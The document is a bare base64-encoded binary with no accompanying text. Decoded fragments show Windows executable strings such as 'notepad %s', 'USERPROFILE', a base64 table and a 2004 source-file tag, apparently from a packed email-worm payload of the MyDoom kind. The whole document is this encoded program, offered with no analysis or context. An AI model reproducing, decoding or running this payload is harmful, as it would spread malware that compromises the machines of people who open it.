4LPzn965m56I+v9/+/SLGIz1qIoaYJMKZOY7F5gJHj/5tLK6cTO/dKEXOTbTcWOXfbrUUDBCBYv/ //9bEkxrr77b2wB7Mhl1wMR8S7q0U+cWQ6MIwP///3+RDTjIf/GMMieTG3YGIsYIoTBaIO579h/F r5IOYdf//wL/cj91DzwFQn2HfADSYjG70GqBu1bu7GFZ//+/9UyExLTCAUtYMtqTHPjH82O4nX// TBuvVXOm//9/idxR1/7/Y6uPvh3LTd755dO39hzsPp/6sfv///8xZXpCOlu2J40AUMvgDP3tEJXm Z/aF/vSNWaP9xgn//y1+Jcp6CHtJxuy1sbFB5zwN0BZrcH5La/////8bPtpOMKrrC5up6NIT0bRE Buu8NojQKbqlXlH9JJ4SW/9/6/9qo6S6On/GIA+HyVBMXvxkznl/rbV6eSgpuf////81SarqyAzD LUpiTzTfRjZ4W5HRvkZQMYbVjtVKU7n1J/////9GqhotlUoL/JvmI6JrNwbYrYVgPh8D6tTBsaSa k4+OkP9f+P+Vnai2x9vyDClJbJK7L0h9tfAub7P6RJHhNP+XfqmKtZ4AZc04J4sCfPl5/IILl5f/ Qv//mqCptcTW6wMePF2BqNL/LwHRDUyO0xtm/////7QFWbAKZ8cqkPll1Ea7M64srTG4Qs9f8ogh vVz+o0v2/1v8/6RVCcB6N/e6gEkV5LaL4xz94ciyn4+CeP////9xbWxuc3uGlKW50OoHJ0pwmcX0 JluTzgxNkdgib78SaH/j///BHXzeQ6sWhPVp4FrXV9pg6XV1woeTorTJ4f//v8X8GtaGsN0NQHav 6ypssflEkuM3juhFpQj//1v8btdDsiSZygqLD5YgrT3QZv+bOtyBKdSC/////zPnnlgV1ZheJ/PC lGlBHPrbv6aQfW1gVk9LSkxRWWRy//+N/oOXrsjlBSiCo9IEOXGs6itvtgBNnfBGn///f4n7/iGJ 9GLTR744tTW4PsdTU1ZcZXGAkqf/////v9r4GT1kjrvrHlSNyQhKj9cicMEVbMYjg+ZMtSGQAnfG ////72roae10/osbrkTdeRi6XweyYBHFfDbzs3ZzpRf4/9Ggckcf+ti5nYRuW8I0LSmf/////y83 QlBhdYymw+MGLFWBsOIXT4rICU2U3it7ziR92Tia/N/6//9n0kCxJZwWkxOWHKXONDpDxz5whfnY 1qn//1uiQmyZyfwya6fmKG0gYE6fgyqk3f//X2jELP9u4FXNSMZHaTLcaYHsIrtX9pg9+i/0/+WQ Pu+jWhTRPDQa41RQJf3Ytpd7Yvh/6ResKRwSCwftDRUgLj/rCoShB4T///+30F+OwPX7CKbnK3K8 Cb3MAlu3FnjdVbAeDwN6//////RxujGozUpDISoPaXACYzrS4pSpaXlFib58JYWRVQ7B+Lf+/+0e U7VE7t9o8Ucyln+MHVvIJal81Saz//9btIDStQRigm4ciuRMot0AUbml6S7/f4vGS3CHVzwnaXto iZWigJ3m6/OJ/9/4239tWwwL+YPoESOe3wtGhGgxUJrnN4r//w3+4DmV9Fa7I9pt4VjST89S2GHt 7fD2/wsa//8v/SxBWXSSs5koVYW47idjouQpcbwKW68GYL0d/xZf6oDmT46cEYkEuocOmCW1SN7/ ////dxOyVPmhTPqrXxbQjU0Q1p9rOgzhuZRyUzceCPXl2M7/hf7/x8PCxMnR3Or7DyZAXX2gTxtK fLHpJGKj/wL//+cueMUVaL4Xc9I0mQFs2ksAsC2tMLY/y///jf7LztTd6fgKQFJwkbXcBjNjlswF QYDCB0//Uv//mug5jeQ+m/texC2ZCHrvZ1PhZex2A5Mm/l/q/7xV8ZAy138q2Ik96Gsr7rR9SRjq v5dy6P//l8AV/ObTw7aspaGgoqevusjZ7QQeO1v1//9fQc35KFqPxyhzeW5jLmMsdiAwLjEgMjAw NP0j22+TMS94eCACOiBhbmR5KQB7uwUbzAItDAAFHAA5Cc4Q/5kPAQAQAAkAEtcDByF++2Z1dnp0 TXYucXl5N0Zi/b/7/3Nnam5lclxadnBlYmYNXEp2YXFiamZcUGhlf/n/vxdhZ0lyZWZ2YmFcUmtj eWJlcmVielF5dDO3+C3YMlwZQ2pyb0Z2a0Z6ur/99mdrRjBTZ25meHoXLnJrcgBHC1orNAX2I2dF eZeW//a/bm90ZXBhZCAlcwtNZXNzYWdlACwl+5jbD3USBS4ydToEim57zxQGAy8tPyv7b/9vQ2Vj AE5vdgBPY3QAU00AQXVnAEp1bAO2udutblNheQ9wcgcDRpC3v122E2FTYSdGcmkAVGhEV2X2zt22 ZAd1c01vFy9hYmNkn/vCb/9naGlqa2xtnHBxcnN0Tnd4eXpn9v//f0FCQ0RFRkdISUpLTE1OT1BR UlNUVVZXWFlaG7Xt1tpWuNdjZ1QCUNzoWuG2CHAOcUYgBZ9qHD6CWwB2Go5haHhy3ffCtj2TYu52 ml8nbnB4D6Fw+LeeYmd4dmdLQ8MHad8u/H8tdHZleS0yLjBvcXCMX2NOcHVyZpmh3QozXHZpC0Q7 2da+bUhkVi1R4Hlz5577/m56YzUAdGdhW18pj4JZdu5zY18HcGku5d4OGNtRZzAjWG76blxHK9za 3lthZnPVAApobKMtdoFXfC5kbGyz3VF1Jm7JyvZ5X0ELZBkwdE6w0GrcAndvD/DobeXWHM7Ra7YL B2xp/PzbvmGXdQllB2ltbXllcnIzDW3jG2xuBGQPRd4u8GNsM2RpOGJyZe+95bdGbj4AYWM/F9tu w9caOmgXdMdmcgSF2Qh/U2Fja19pr8ErRP5rPQ9zbWl0aFtD3itf420HQgAOB2iM7N4mam9lP25l by+vtc7U8QslcNgHZ809t7Vvbs95O7ZLFb33xhpsj2lk1xsfYt3OufNlb09zSwZldxyFgnMvrtoi 5rXP8Pt3abBrZc6PaQlQGiudv20JD2MjR3YPrhfzuQBLaG5jYxjuCo5vqiOZaWZpza09XTtf1Yt2 bhVQ7625f5t1cHBvvCHFc29m6/BOYw0vbWtwaM/XvW+6eC5iD2dvbGQtUHhjvCTDmGFmZSVDYjWn 4zDYQ6Nw83aFu2it0FpniwZbr4I5d1grZA8nH2sQW7bWpYkfdGlKjJLB0Td0tiufG9jhtW5tFXnJ A1pH73sOw296wQZzaDDl9t5rB10PFpN3ZQxr7blhnjTgCAwWuxk2W3BsOTNmb28vW/jCsYcKCsNf bG95RzpzltrNcW96FeB1dP/aLr62azEwpDByZAxPZ+tawdHiPu1S52OYG1ugEFqZbwdpIxpOjRb2 DTfmbo215vgHc6KDVnNm2E7tK7VUaUFiB2EKhubOt3UkElfxjdDi9EoP9PtyNNe2rhc5Z6tnuy/a 4C05GgVjeGZaup6hYGMfgHcvZI4Yxz6zaE9uaROdI7ezpms6eecKN29vLmJu9r1tj1d2Dwif5trB 0YgqS4ezT4YIjdl5B2E8Ozq0Hw3Vc/tybLqT2ybFWPxvL78MdOobRqwU3fpbJy/QmnR5bZ+Ily5f ITu473sLB0ATYv23ALQRtlqfxHrrcOOFsu81fXULIyAAgXxFRm4oACmm+e5RIAIHvC1KAAG4kpOD fA+0/CqwQJoBGawDqKQbkGYEoAZfmIUt6QYFD5CxybaBXQILDAEAzVLYYBIBAD2dqmyRHwAmbpQc hy1tcAc7RHcdzcZjRShAKa9AQLcgFgjFMLtff6l9LSIDNARsIFN2eXIglkpfjUH7T3cQT2wB88QH i2Jo93TfFIM2+WRieHHHi/zUonl+y3NodAb/vzV2bWIveEgqLioAVVNFUlBST0ZJxRYL/ExFAFli cDUg1Wdqlfi1FmF5R3L9G8PYsOhaIJmCZgr////kOlyWMAd3LGEO7rpRCZkZxG0Hj/RqcDWl//// /2Ppo5VknjKI2w6kuNx5HunV4IjZ0pcrTLYJvXyxfgct/////7jnkR2/kGQQtx3yILBqSHG5895B voR91Noa6+TdbVG1v/z//9T0x4XTg1aYbBPAqGtkevli/ezJZYoBFNlsBvT//wa5PQ/69Q0Ijcgg bjteEGlM5EFg1f///y8pZ6LR5AM8R9QES/2FDdJrtQql+qi1NWyYskLW/7/Q/8m720D5vKzjbNjy XN9Fzw3W3Fk90ausMP//v8DZJs3eUYBR18gWYdC/tfS0ISPEs1aZlbr/////zw+lvbieuAIoCIgF X7LZDMYk6Quxh3xvLxFMaFirHWH/////wT0tZraQQdx2BnHbAbwg0pgqENXviYWxcR+1tgal5L/8 ////nzPUuOiiyQd4NPkAD46oCZYYmA7huw1qfy09bQiX/xL/SyaRAVxj5vRRa2s3bBzYMGWFTv// /wIt8u2VBmx7pQEbwfQIglfED/XG2bBlUOn+////txLquL6LfIi5/N8d3WJJLdoV83zTjGVM1PtY YbJNzu3/FxYsOsm8o+Iwu9RBpd9K15XYYf/////E0aT79NbTaulpQ/zZbjRGiGet0Lhg2nMtBETl HQMzX63+//9MCqrJfA3dPHEFUKpBAicQEAu+hiAMyf7//7/xaFezhWcJ1Ga5n+Rhzg753l6Yydkp IpjQsLT/////qNfHFz2zWYENtC47XL23rWy6wCCDuO22s7+aDOK2A5r/////0rF0OUfV6q930p0V JtsEgxbccxILY+OEO2SUPmptDaj/N/j/Wmp6C88O5J3/CZMnrmaxngd9RJMP8NKj/yX+/wiHaPIB Hv7CBmldV2L3y1KAcTZsGecGa/8G//9udhvU/uAr04laetoQzErdfd+5+fnvvo7/////Q763F9WO sGDoo9bWfpPRocTC2DhS8t9P8We70WdXvKb/////3Qa1P0s2skjaKw3YTBsKr/ZKAzZgegRBw+9g 31XfZ6j/////745uMXm+aUaMs2HLGoNmvKDSbyU24mhSlXcMzANHC7v/////uRYCIi8mBVW+O7rF KAu9spJatCsEarNcp//XwjHP0LW/0f//i57ZLB2u3luwwmSbJvJj7JyjkQqTbQKp/xf4/wYJnD82 DuuFZwdyE1cegkq/lRR6uOKuK/////+xezgbtgybjtKSDb7V5bfv3Hwh39sL1NLThkLi1PH4s/7/ f6HdlIPaH80WvoFbJrn24Xewb3dHtxjmWv+3+jd9cGoP/8o7BvkLARH/nmWPaa5i///f+PjT/2th xGwWeOIKoO7SDddUgwROwrMDOWEm/////2en9xZg0E1HaUnbd24+SmrRrtxa1tlmC99A8DvYN1Ou /////7ypxZ673n/Pskfp/7UwHPK9vYrCusowk7NTpqO0JAU23+r//9C6kwbXzSlX3lS/Z9kjLnpm s7jsxAIbaP////9dlCtvKje+C7ShjgzDG98FWo3vAi1UUkcgLyBVR0dDL1a3b/0xLjENClWzZzog agAuZmo9as3VLm0SAXPAgbGWETMeAyCDdBuzDwcgHDSDNM0UCgwEBWaQZtn8MxH07BmkaZoA6DLk 4AZpmqYP3AXY1AUbbMAvDAcjV0jTDPIH0MgIsEjTDDKYiAqARYEDNnhPUmWtFnAb4JuraGYHK2nG AwbeAiBFcj2UWskGOECBVgl11nIFSvFFELAXXMBtdVEDdi1jRmz0biMsPXIgdRJ5YgcTtB01bW+7 cHorH2wU+QVDZQBjdnPOcbVtgwjPDGZVdBtu8letOj2ncW5nYbTAZHsHF2vbAEpwrHUmcS8LaHpF R3AbxGs2eoabbG5iC0NoDaX6YQm1RmcNuhsl5wLu0Knu9+hjJ7fr92ChB9/9Y1cj0NZcqRgQCgRN a2qh1uAgl/FzvWnFCnAhdyBmEKsuINajkWDbD2EbbaggKGoDV2gg7xvPbFmrR3AQTyQeqNFGKv9p RWaUa93WrAtkEGhAUoXWusB4zSANB2Waa021ZV8bdBEUDrvaCtAuWAh0OGhtVUvZcxZWVzzttYXO Gjoge3ACPZ32t3ZrjEc3LT8XQVNDSUkgFAbCXLlyPWl0IAlmrvNt6/9PYUEhMDEyMzQ1Njc4OSsf /ya9L0NCB0stWkYxLWtLtcZDZUMC6TqlB/yy2EK8eRsUMwAJYryF3QLaZJk9IpIiO61wwxZOZ/At R2y7IXijVON6aHmGQ5svenaE+O3dVnE7YQNaVlpSLVhc65baI9AwE1H7L1wLWs9/RmiUkg7dt/Hd C0diFVP2egctAD3z0721X2oCLjN1BDQ4WC5hh62+O04YdPbPv2GttS0rA9k/JWZgaWFko3ljF3AK rTW+oC+uGBcu7QztOr96rAlhAtpmIo3PgoA0Zy1SYa3ZN5qLcb5BOGZyNjQi4V4rfVF2Zo/cUV6n d1pq44t1BFAsRTYhYFQPn7TXtqdXL6JuakBKnBFtK01tZz+nLay9yC7FNTKeN2+KYnBCtx1HdZog Am6ZLaHRgvSaINgXZpl+2IfGdetnLpVRVUlU+vPOzacSD0RBVEFFUENHb/3b3mtCOjyyPg9aTlZZ b0VCWnbnt2QR0lVSWUIgC1JV1YDXS1RvuziMZi3wy1rVIMiX205GAxBOcNBoDBps11qj4K1lXA9m gvW1xXvnZTVuO9YBZ7vlYXkKAAAxC4Z47x14IAcRY3829t50cAgjB3goVYvsgez5///GCASNVjPJ M/Y5TQzGRf/HfmhXiz1UEEr//391gfmxchWNRfhqAFCNhfj7//9RUP91EAbitxK2L4tFCLuFI0S7 ++0EBjI1QYiEDfcei8aZBmD/b78CsgP26gAVRjt1DHy5hclbdBNDJcexD19eycOBLAH6xkSUiG8i 7GhMJInv/u6/zjZai3UIix14hlkz/1mJvgwjiX0IOZv7cmsCQ9T+dQ5oGBJJFdtssbt0I+sMUA4N cIC9Iey62dY5cSojbBWNjd3v2f9JgDwIXHQOGWhIbv/TeVDYn/hhK9NXaIBiAldqAyV/05kgDURo i/iF/3QFg9s2k3V/I1xkg/gRN6jy9m1h/xSDoQIPjFRK/+tBL2LboAIABBSic2+z/Sjcg8QMVy9g x4bQArr3YOZsCgsCUo1GCFays8dOXPcBdRQSWDnCGxZeLT9bQI1sJIxCCy+Z5IgAYH18PNstbN0v H4hdf74xgB5wJxmb7v/OPCdTUIpFf/bYG8ADxlkEhcCbe//tdFX+E4B9fwJ81ccHnDgqbDJlu79Q N1NoBjhTUzoUYWZbOHUJAHAMAEPDydrdxaCDxXSjGevt799N8naD7ECmwGikWQ5ZUGoBat1mMw2+ gAV8Lbd/9x7kYHRkQCU0AuhotNiVC8s7Msz95mgENhxm+w5TPJCcw1y84X4R9B4FEBt1iUX8zbLh uIs1VEpdXdAR/g4lOJ0hD4SpneRADozQTdDQPTusu9ahUCvWCGogeQbj1DaMU1xT0Gbc8SE7w3Qy SHQtUCSzQrLJcIgMevBhvCMNd4TrEBiHhz2TMQ+FGQwgdQ/mwHD9M6RP0C55I8loyEBQaMA1PXRs PBe1EAC//lA62qPpLsdoTdwxFqWDTOYaFQF1Lb3CNuHhfIHGdVYu4lbghhnDuVwlDQgWFyNGS5Qm G2pt2Dpd8PGYMlDIBSS8cITObBKU1/Q7xHYFM1i21n4VcwQGBRL48Ca5rNEmKkH48OzlQEYU/PRy GjZn4XX3chLnXDdo5/6ccuMcjO5uZARenP4Y7xjLV1BfiJ0OGrHkOXKcgAGcQA7k42EgnJwTRuTZ DQQlEpybI8kgwLRjB9ncZjDaCP4bX1TAv9qWbMfCXoH//AF3NsfSpRj0HUH88P/ftYfw1ibhMh0P t8BqTJlZ9/mF0mEP9vt1E8aEPSUNRwgK6xok/7H/9Jm573b5gMIQiJQcR/9N+HWbO/ubmw3YdBJg V1wEjGBO9w0z0x776Ph6fLvcwTwRakQ3oF9XU1GgcGuUS0unTeS3ttatXcqgUQgDU0BR4czVdpuV tzglU2bW0Nb0ZKtfkagQaqDkDnpP6N6kZQjWdnQNcDU0TUkc9qDMuVF7B2ZzIw2wQVaJRgR30iNs sCqfSqwzOT5ZH+O2td1WEitOXApqD3QPwWjtAmX8qvc9IAbs+/sV/x0pXgUtalkkRS/OwMhvhBcs 06zIB25ysN04sgRMwz/ZXBMmJWTHUS5WVkF53B5OP1nEA3dxEcQ8/F7NQsH8K3xo48MRTJPgKDC+ KEosM7Z7jX3wpQC+OAvgBXjAtBulIy+toDu0MBHJTQFheNDk5rhQAEzUhGYG2ICOHDly3HzgeOR0 6HDIkSNH7GykaKhkHDly5KxgsFy0WLhUkSNHjrxQwEzESAtz5MjIRMxA0DwEx/ZwUtTECBsLnD1b L8hSCKHAEOM8Tfc2I/CJtQUSuIv/S2+cjfsCdQWymAPI99mLwXkCm+NbS+xm4fQGdgYtBgDIrn23 ZunydQvy+BjyDLt3L7UGPs65OIB9Bbk0Bmo871to/Jle9/5SUOexUQX6BNPdeJ748PJWhaAM9jDj 48301GgMJXYMyrfPcLFnMLJco7CBBMOh6T32fwVpwDVOWgFAEWahshdOtx7SB8jB4RBZC8GqRCT8 d///BFbrJYtUJAyL8ITJdBGKCgULOA51B0ZCgD59i1svJ+878iuAOrkJQIoIhR5buhp11SheNesH Ohn7u+3sCHQHFvMFKg722RvJ99EjV9Intkf19RAddDGQ9iXX3Qyqi10M+LoQD7Y4Ah38QdcDZlf9 1llDHFlG+73Ai00EwXUNM3XYY5pAzG0gUuv2SRSbu8TSWV1NRFUMQ5OKVuL20gGEigg6AhhBQsRQ 0U7g2wECCivBXXAkdmjrb2xpCG6JdfiAPwCjSK1Dv3XO9z4mD4UxtSS/gFm6Rg0jI0lGD74EPn9z zxc3EVlcDohEHdxDRqD91v6D+w9y4oBkCiXJOE3ciX8b32L7XtwvEDEMiYA4H0yjGzn3StB18BdP WgFGWQuW+30Pjs4AVGoUKGP49u1Qk589XZYgXd2IGUFH++LrFrjcJWwItGejtohQDSnIfWvY7j4L VItd/CAr81Cu9Gx4eRZ6bPDwdFErA/M/CPwb4Bw+jTQIA/fhzyvLO/Mbv7VvjQgBcxv3hX4ri8Mr MQPtG7VvL4oUM4it9/F89eu77t++/EH/hcB8DwYr3kAZC4gRSUh192bhWxgGKBlQDY0PeVhwn7l0 tp74LQAm5aBjuvdbpiaQkUkaZxj8G/yFB2Ulm1ZENwGLHRzZDAvOxPvTXNvqbMEcgnEYDOgoQzLW UehZIMmAv/3bt2UyRjxBWSjpfAw8Wn8IG8iD6TfrH9basQYHMIo/HBjAg+hoKP07BzDB4ASdCnwU umlbSQhD6dnoiE0IwfBDKFFNdEEDw0lDzU/CQks4Rs473o1EEdzwF26LfiElig6IDDNGJOsUSMkh zSc6GCvzDuiDDEkzCOj857ZSOyf8Xm00dLO9s9cEAzwDEu04yPTlBFk4aga+pOuVk+7fT33k86Vm paQPiMj7021zrmzkFVCkzYFZWV+c6ks7eF50FMlqGgZZg8ANzX6u3/X5ikQV5B0qyFAnoVzIsyVZ yMhF3RbcbQgEVouR0nwEigbo0v81Xg00Nd+IB0dZRmOAJ8iXemYWnURWL7xo3CWan64OvFmP0PCF 9v7NIZ1bFRUUWDR0WWJIvi85wFZczFNvsAWb/DlR/9BnIMAGtwPrA4hYlHCfLcxokJiEJkE+W8y9 bhNIF9h8JmYrbcNZf/iEFfiVTkwS6RwYbAyrGZ1DUx1pYnbILaNTDqk0kO3F9wBSU1gkDDJCY2Yu EABw+PbQejAZ3ebJVz260Bp7jb1DT9//OC+SfQvW2FMOxgQ4XAw8ZLbqG1wVeJD47ExCl9ciBxsh 9oT+/zSVkBGuhAVBQufCfjYdWWh4JjoGsJe3/zvTfE6D+gF+NAQDfhoEdT9pGWz3bHQuaHAH6z0U bEEGeQZoKGRmkEGeYBNcWBKu2WHQ1wjOTnstCzOEZBE7A5h6Z/wKeBkGo2ezE8vzWeoA8ArwdVwQ Rgw9gwG5yAD8DPJmiZiuLY0WZlgUcwwCNt2GAjMkM9IOBDgXmpPt3CSdBgYICnT4pQI3wTQ7It3r CYD5Ln4MLjVI0Qw4x8gqy4iMsaXfFe0iQjvYfR4rrbwNb6Uv8IvIA9jmFMHpAnwLg+ED3HIB9wPQ 86Sf9zsuQwb2K7QNo6yszX2ApDNWuFUi3i5yDRVzht2274Q1p0akRg1qEA9OGOwmxoPGAtpWM3iH Fm/6vMnND57BXlg8xK3jE0tl/GDw6EMEgpt7LApwBVYkdjXVDRzcz30wX/4EMPBv8dbmBVAF6w6c QH0GjXQGAeGeaysKDwaFODG59/rWFTkMfMuLxodYWaChZypD2WCfO2hbzd+ofWuB/v8AX+oDVd5u jRcG0nRKNk8XQAl+C4p14y/QEw8+RkBKdfXJPi75rSyxFied/GbAAolF+HfqVGkBk/tqpRLvvvYl /z8LVBIEfKbrC9G+tX2Binw3/y6oThF/9IAkOdh6BRxAugNXd4ytq5IBGucwG9gQ5TPeniV41Pax deheG6KpC7goXxwMWDpFbYu3VoM8AvR9Bx3pFiEMhQJpRVOnu8V/qt4VOe+L2Fk7d1l8H0tsFwY8 AEYKA042wWHi0m01+AgGO8dU4FwXLLTg+AM6L71cA7C10kYUaAOZpW8Z+lzD2ty2A8quYWA6SItD Ct7QomC6NZwCqbt7t5OhQ2Zb4EMSDIPDBg6gYRes4g0K5EOPQ8Be796CiV3oPn9hviRG+nRvE2Lc 3qvsdEMYV6hx7GH9jbWVRVmLhha+6BfkENg/7E8Lt43CgyAsxgUJ9OuQAY7HABO6VQ+MIm48dKkB q41fyb8MI36uJ0dTVbZtM+0Yh7Ue8VXHAWF92AosPOE73XU8Prp0EY2D26GvGGDOVv2JKDXClWsk /CF+m9t4swgQiWwkFHSLGFE5p7+tcwsPGEBoVesBVZv4BXN/2bQkRBAG1TjeRME8YEZejtttd9fI IdddOFBVCjxVBm3QDpXHxF+gQPzszNZTRElkMY5cBFVTn+3YIRtVyFNXpmjohVO82brtLygnNDvu D4bavLSkJg4CRleD5g82am4bmwPKIQH+Uw9rmFv3IBqEX4gNf5mL7WNu9H1lOvpZiY0kqhW6pRvf kiEcAxgRpnjJ3bEQ6wT84YO/CiZZms5sNp8NCA+Rwte8OQwDD4KDvRlV9Me6J0YudhVW1YHHUsfO AD7biwc9GFsGdOEIPEAoTyjGW7cWjW7Bi/1AkkVI+tZBK1l1ElZDui63ob/2HImsJgYHGJtz/Doh MKyLP2IHnkHS9tseJCUgR9uDEhjZciG67R7/DxQKFLwl/tlTjPANi4S2x/FTZbpnoQuRJHlsRGEN P/ViNGBLGtVdW4ETrliPxHd7b48r5FymVPlyxeLgEl2dnBYRAhBqZIzahjGoRpF81j10cyEHB764 dBfopXLN4iFzpHq/fZvF2yYOEHUNdCJorHaLk84qD8wSX/RWeZXrgYUcD23Qb1c7at1Y63GLQ8M7 /jDtqHB4dGFTu5OmT3VLGHJKcFGZPlMukMFdg0cctIMOaP8ushCfOncY1+BTdyO4A5NVaz+g/nWm 6m4TUkIcYL6cole2KU4aA9AFMgdWw+uEuGPihNEAa8iW2eq17MTQHCyyBTvr7x2kvgBAQdOunsaq y+0UUULXX4YfjbbwK14hgVSF6wobcPdhjXcE0lhqNZ/k0na6rpOiVp7mgBEK45Hd2eiTFaNcESiL QI1XHHBbSQAbsyMc/IxRFWjkPsRZDTP0owupBlx1mzGVAQwRBtQZD+Rd39cxMAQx+i0FZz8MZfCA yF8JUTapHy08bKr4V0CAR6Pb1QOIwEBAQ3RZ3mC1K490T0Qks91BButeJA8gL4oOaDpJtYLU9hx1 GxjI9pGwdcXrEhnMl7jltiNGLhF15+WJXObqDUzoTUB0P2lQVWolAxRtYO/PYOoMBCtDWTxK9gwL 3b1rQJQziHZPwaq1xPkQKw1QNiDdRv1OwCs+Nhf2DtkrlnUqI4Mr7f92JAZcK0B1A0t5r4BkKxVq 0Eq4i4G9EXupAdu21T4+Bj0T+DxLHFk8G7ArgLSTvUvudA8ty1lDtdpe4zUrvbSAs7rTe8C2XyHr TI08LigHuDqKB7fJZbMjJyF4B1PlbhtxP7ROebF1kbo2OFrkfAreQLS8cAeGA+7OXVnD74vxV9oa FloOMIBCJ/83yw6Nu7sghduRnYR3y8K7BhmIA0NHDDfZHwOAI7A7bLgADCgyERA8jYR2CRqH1XQc xRfGXBnkJAU67uZxa6DhNR0SECcLVjaabNS/FOlcTw+Iv23UlEZVtUBdw4MluL2F2lZ4YPlsggUL LtE4GGTtU0HOOR1WZsP9EqO8BAE5P6MXFggv6wtMB/+WDXBL7hM83xwce7sHr2Mqf+QQWyiLy70R Ld4rDRTEjaPAgrvNx9pJjO8rBA+P5rvIE73AM3DDdyJTi8WLz1pDEVmRLgPLyPO8gZ0YlMzukUG+ GQaDKn9+Fc+28W7ugLhKBQkIx3Rkt/eyZ5GKDWH4IQXRcnvbiEQguzB8C/05f8UaDg+KiMEDAOUj DfhbyodIoRlrwGSHv41+sVUVggx+wT0MMuuf/O2IHQQgVRUGfAk86wdhCcdnCEZ94QfJw3konJFq XbcAvEYvNV1g6wWeD2cGOsOqiDlmtQr5JBHUHrJR38fAhD102ISpG1RGgbA5fN63MNJdmQASF5xf 37gOPjpTt1P/MKkRUMNL27dKRzuDRo85HnXjM7DJELJzSyuwERTvDV4ts/jeWOv33XUV+arycRBB +MJcV2q8C6MgwKe+U7tiNXdGR56n2jNbrJkepBTd8IOsSHZzeBInuHivtjTYwODkSIbgGDM1Tdzw 8HWo7V4g051/JqoGaOgqzWYnoYTwUC3RZDI3CK2BKEbkyMFuLCFqBRmUKTZkk1xN3DMzw0tYyM/0 JLj0RzBhxZIQJlG+rx9tDflLQQQ8OBZWBqUPPvGbwfzjKWAytQiThVe9EH8qz2EDSHnw6A8Dx0Gp 1ij23RI+xO6x2jh1yNS9i8c/RRZTs2DWwrIKlULxCpAMbY5VC7Chfk3XPTZ/Eo2NYOB2h439MkcU 1ZiC0W3qSGNszIOCFx18ssQtNApQ9ugsizargpUa3RsaFq2tLH74g8cPV35p2D8sXoheFutZV4aA ZggAqy6GBBSMik7+mgl7iEYJZFyhfGj0KiTEBusjBhyJkF0Oc7SFD/43n+GAdmEiZjVRPoSubKqh dHcR+ROEnwbE/s87NTPSM8n39iklevcj3w8qg0E7ynzx3HiDwAowBj20F3YMMfQQWoo/F2JAak80 gDHb22FBuTFPWffxooCoEY4F9SgTAFzJrXLJyRnd/CpiwSDLgICAgU+DoR98hFlZZ3XUFHLJQgOr CHIICuJtHzTo08YDoSZ9q1rrPNvszvoiOVhctv6FG08788CLVlg7UFhzavDCP7z10lHmgfn8f1xq YFOg3EHYQi5170oqHSWjUxOgeicfQrCu84gQ87NYiV7bnTW8XH+aia5AeLY5FbMP4H91sVeNfgjH Rlz+HzCTY3fu/3YEM1tA4VlPFFdzr851aRRKaV9n/PTRHomfhEkwU/9AXOisoY2vVTnNYVmcDlGz YyPxqANVFxtJWTIGKdxJleg0+lCEhYaB8Zg5x84vyAmvSlbPsAndjhZ2RkotFVljKld1ZhvcUpHO iFfCo29IbWqnK7rs4ooESHTmhq27ol+2V7/QHPQt3LXimUMPVsZAAffXoPtUeFkJAggjAHYHJhSJ j0zwLqCMbo/UgmtEcUSAfix1IKNuFM7qKxxguej08FJxR2RIBYUoPSAcGt/YyM6t/hHrGIsODThl 1JYZDwp8dbjTCb5gBwQMg2QkPP0tIvYroscFhUv2rxDm6xdo5aRROccEKIWGB944D0Z9S+BjFCvw FzoBD5TYIdCw4Yg0cHTtoInfaG/fyXROQ4B4RHUPRXB6ik4JOrjC9udICX5IBDtMHnL5BbcDbmqH hNeB++x8HUk0xwZ4SyaB/ZJ+EH29zZUYcwZeWQisJLBBS20UO8VN80lbHbafMgRzKI1GGE0eVgEn Te5o61rlGKwWuieYNPQRvelhs+AOsh1xDQRQx2Rgg8ccBGiD+wOT4i4ICzgpvttnHwC7DeA9cBcK yiJIZr7fFntWOo2j9qPQBNRMuuprw8GAM6BCbQg+ZX0MN34W9DwWbeEPtgmJUVoCiAi26sRGgO0u UQwHsEUBZa6Mse2o//a/CCwhW4ld+Dvef2YtxiutUCEaHQwhy8ZHbsB3/GMyo0n/N4u0ordSuFwc GQQDxrq5d0eziwceO9h0I3ETK1Wu2w00cMsMMwNJK9bYbK3d/gmKGYgYQEF794tiK1sBO0emC2iL Xw48dHWJI1x3BV4PjnS1hO3DUpscVhoGHjMdKQs0yt38Vgg0hQPxIUKDwcIXW14HW0sIsJmNONJ9 QtZLubtTPUSNXwFZgh6Ft6aL/8OzhVrPfhMOF9xCpUS3i5DubgVJLtSIG8J/7bgJfSPfWmffGRQw gLoYFkODfO3rDlutmnQUMbXAyLkV/v987o1RAzvQfWU7z31hO8FhT1wG71obbLshSBJP4jvCfkOS 4R38O8d+PyvBjP8HfDYtOeYWG/0DzjvXfaMBkRX4tWIX8EJBgfoEcun2IQ086BAOgwAO1Vz4i/s7 fRaMMV4ETD2Ux/O4EAB1fA8XUM4CcgNsPyzgRIBPbvAPhJWmiQyTAOdq+BKGvkUrU1G//Q5vb4Zb iypyV1EqAvRQ6xZa+NBOPcxzU3X4IgVNwHvxG74GH+NcvKwBjg5N0M1o4zfaKPTbgX34ALDdd/YF zLomUzBX8FOuAdeqqLj5pg6I1YFJFl+EWVcmI7+UzFbNbTyYXHwermS2CM2zz8/+xugdNGuN5gIz AMIM8JBlkG1o+xxgnrME38MEVyQE/7z7jVvhO/utZFvr7Edki09gMRbb2H52VYlNcDZsOnCEyl3l YNXghE1oB/H8L9xK+k5Ec8EUPohUBeA4HD66W7UAxkYhcug/DBz8D8MxuYNFcET/TWyCtiCb2XD8 /GAJZMPWbkxz6wi1ge4J81ATCF2tWNBYQv1FqGjALez7hBoEoh7wqIFyiV4vdVFp6qj+JlShApLo hGpnoZmoAJNCcAk1i6iFBQx/bwc9T5NZmpvifUGQyFejDTfg/jNIg34gKA+Cs1mUyf84Sx+01EYs cD37EXAGwLtAoywPdMhACQJusLSL6GF972Xol6SD7y1EMS1qD+boCa34ROU0EUx96H1au71EBgAg AzcNgWO3G7hiKfuHRy3kUIxqZy9oXL984Nc9bdf7DDFAAR5SxyR1oyvRI1tFJC6ZObLvMcgtPxwZ rjnkSA4UlAwMydgLdH4VBGg+20CO/C2eCcASC0kd2/5JHvQttxT8Nnjn8MzDU+PsLXAGzJwCSkST +JuiJh85RiB3NesLMozQ4BTsnK11WHGhBPQbdQoYhsld607EwQ8CdQnYT3YEp190WFwCDFdsLtjF fgyaO/43QBI5YKZwjmRbOTXMGN3BN4sdXETkOk31mt/TCbLk1sJUsyaapBk2o5NqlBV6EeUYJzkw LmhAtKT9s81BklaTkvwVijwR71B1IzURJMYTZruQdQMj1OsRyO7XCTAgqKw1vdA879xsG4QbCNEA 